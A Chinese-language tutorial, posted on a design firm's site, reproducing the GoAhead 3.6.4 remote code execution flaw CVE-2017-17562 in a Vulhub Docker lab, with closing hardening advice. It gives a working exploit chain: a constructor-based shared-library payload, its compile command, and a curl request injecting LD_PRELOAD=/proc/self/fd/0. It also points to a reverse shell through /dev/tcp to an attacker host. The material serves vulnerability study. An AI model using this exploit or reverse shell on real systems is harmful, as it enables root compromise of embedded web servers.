尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

GoAhead 远程代码执行漏洞 CVE-2017-17562:环境变量注入与 LD_PRELOAD 劫持实战(Vulhub 环境)

GoAhead 远程代码执行漏洞 CVE-2017-17562:环境变量注入与 LD_PRELOAD 劫持实战(Vulhub 环境) GoAhead 远程代码执行漏洞 CVE-2017-17562环境变量注入与 LD_PRELOAD 劫持实战Vulhub 环境【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub本文基于 Vulhub 仓库中 goahead/CVE-2017-17562 的漏洞环境文档完整讲解 Embedthis GoAhead 3.6.4 中「URL 参数 → CGI 环境变量 → glibc 动态链接器」这条攻击链的成因、一键搭建方式与完整利用过程。读完后你可以独立理解 CGI 环境变量注入的原理在 Docker 环境中复现该 RCE并通过自定义共享库 payload 拿到目标 Shell同时掌握针对此类漏洞的加固要点。一、漏洞背景与攻击原理Embedthis GoAhead 是一款面向嵌入式设备的小型 Web 服务器体积小、部署广泛支持 ASP、JavaScript 与标准 CGI 程序。其版本 3.6.5 之前的实现中存在远程代码执行漏洞CVE-2017-17562触发条件同时满足三点CGI 功能已启用CGI 程序为动态链接依赖 glibc 动态链接器加载库攻击者可控 HTTP 请求中的参数名与参数值。漏洞的根源在于 GoAhead 的 CGI 处理函数源码中的cgi.c里cgiHandler它 fork 出 CGI 子进程时直接采用 HTTP 请求参数来初始化子进程的环境变量而对危险变量的过滤只处理了REMOTE_HOST和HTTP_AUTHORIZATION两项。这意味着攻击者可以在 URL query string 中自由注入任意环境变量。结合 glibc 动态链接器的行为注入攻击面就打开了LD_PRELOAD指定的动态链接库会在程序执行前被强制加载LD_LIBRARY_PATH程序会到指定路径中查找动态链接库。payload 从哪来关键一步是/proc/self/fd/0/proc/self/fd/0指向进程的stdin标准输入在 CGI 程序模型中POST 请求体就是 CGI 的 stdin 数据流因此攻击者可以先 POST 一个.so文件到请求体再在 URL 参数中引用LD_PRELOAD/proc/self/fd/0。glibc 加载时打开的就是刚刚写入 stdin 的那段数据即攻击者自己的共享库其中的构造器代码随之在服务器上执行——RCE 完成。整个链路可概括为URL 参数 → 环境变量注入 → glibc 加载攻击者提供的 .so → 远程代码执行。二、搭建漏洞环境Vulhub 一键复现Vulhub 将环境封装在 goahead/CVE-2017-17562/docker-compose.yml 中核心配置如下version: 2 services: web: image: vulhub/goahead:3.6.4 ports: - 8080:80 volumes: - ./index:/var/www/goahead/cgi-bin/index各字段的作用vulhub/goahead:3.6.4预构建的漏洞版本镜像。其构建过程见 base/goahead/3.6.4/Dockerfile基于debian:jessie从源码make make install编译 GoAhead 3.6.4并修改默认路由配置将/cgi-bin的dir指向/var/www/goahead确保/cgi-bin/*路径以 CGI 方式处理8080:80容器内 GoAhead 监听 80 端口映射到宿主机的 8080卷挂载./index:/var/www/goahead/cgi-bin/index宿主机目录中的示例 CGI 脚本被挂载进容器。该脚本是 goahead/CVE-2017-17562/index 中的 Perl 程序#!/usr/bin/perl print Content-Type: text/html\n\n; print titlecgi title/titleh1hello world!/h1;启动环境docker compose up -d启动完成后的验证点访问http://your-ip:8080看到 GoAhead 欢迎页访问http://your-ip:8080/cgi-bin/index看到hello world!页面——这正是上面挂载的 CGI 脚本的执行结果证明 CGI 子系统处于可用状态满足漏洞触发前提。三、漏洞复现编译 payload 并触发 RCE3.1 编写共享库 payload利用代码就是一个在程序启动前自动执行的构造器函数#include unistd.h static void before_main(void) __attribute__((constructor)); static void before_main(void) { write(1, Hello: World!\n, 14); }__attribute__((constructor))让before_main在动态库被加载时主程序执行前自动调用它向 stdout 写入Hello: World!。对于 CGI 程序stdout 会进入 HTTP 响应体/头部因此回显即成功标志。架构匹配是关键前提GoAhead 常运行在各类 IoT 设备上动态库必须与目标服务器架构一致。实战中若目标是 ARM 设备需要交叉编译对应架构的.soVulhub 运行在Linux x86_64容器里直接本机编译即可。3.2 编译在 x86_64 环境下gcc -shared -fPIC ./payload.c -o payload.so-shared生成动态库-fPIC生成位置无关代码二者是生成可被LD_PRELOAD加载的.so的必要参数。3.3 触发攻击把payload.so作为 POST body 发送同时在 URL 参数中注入LD_PRELOADcurl -X POST --data-binary payload.so http://your-ip:8080/cgi-bin/index?LD_PRELOAD/proc/self/fd/0 -i各参数的作用--data-binary payload.so以二进制安全方式发送共享库内容作为 CGI 的 stdin?LD_PRELOAD/proc/self/fd/0让 GoAhead 把它注入 CGI 子进程环境变量glibc 加载 stdin 处的动态库-i输出响应头便于观察注入回显。3.4 验证结果响应头部中出现注入的Hello: World!表明共享库代码已在服务器上执行进一步将 payload 换为反弹 shell例如监听端nc -l -p 21payload 中执行bash -i /dev/tcp/attacker-ip/21 01之类逻辑即可完整接管目标。利用成功的终端回显如下从第二张截图可以读出两个实战要点回显中的ERROR: ld.so: object /proc/self/fd/0 from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.属于正常现象——shell 再 fork 出新的bash/id时stdin 已不是那段.so数据链接器找不到可加载对象便忽略真正的执行发生在第一次加载 payload 的阶段id返回uid0(root)且工作目录为/var/www/goahead说明该镜像内 CGI 以root 权限运行直接拿到容器内 root Shell后续可在此基础上研究容器逃逸路径。四、根因小结与加固建议根因cgiHandler用不可信的 HTTP 请求参数初始化 fork 出的 CGI 进程环境且仅过滤了REMOTE_HOST、HTTP_AUTHORIZATION。在 glibc 体系下LD_*系列环境变量天然具备影响动态链接行为的能力两者叠加即构成远程代码执行。修复与加固方向升级升级至 GoAhead 3.6.5 及以后版本官方修复了该环境变量初始化逻辑本环境固定在 3.6.4 用于复现收敛 CGI如无必要关闭 CGI 支持确需 CGI 时尽量使用静态链接的 CGI 程序使其不经过 glibc 动态链接器LD_PRELOAD即失去意义环境变量白名单由 Web 服务端显式构造 CGI 环境变量仅注入QUERY_STRING、REMOTE_ADDR等必要项禁止透传请求参数降低权限截图可见容器内 CGI 以 root 运行生产部署应将 GoAhead/CGI 降权到最小权限用户并限制容器能力最小化攻击面嵌入式设备场景下可结合 seccomp/AppArmor 限制LD_*相关系统行为并考虑将镜像基础系统升级到受支持版本当前镜像基于较老的debian:jessie。五、参考资料仓库内路径内容路径漏洞环境说明英文原文档goahead/CVE-2017-17562/README.md中文说明文档goahead/CVE-2017-17562/README.zh-cn.md环境编排文件goahead/CVE-2017-17562/docker-compose.yml示例 CGI 脚本Perlgoahead/CVE-2017-17562/index漏洞镜像构建GoAhead 3.6.4 源码编译base/goahead/3.6.4/Dockerfile适用前提与限制本文所有命令均以 Docker Docker Compose 环境为准宿主架构为x86_64payload 的.so必须与目标架构匹配跨架构复现时需自行交叉编译。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表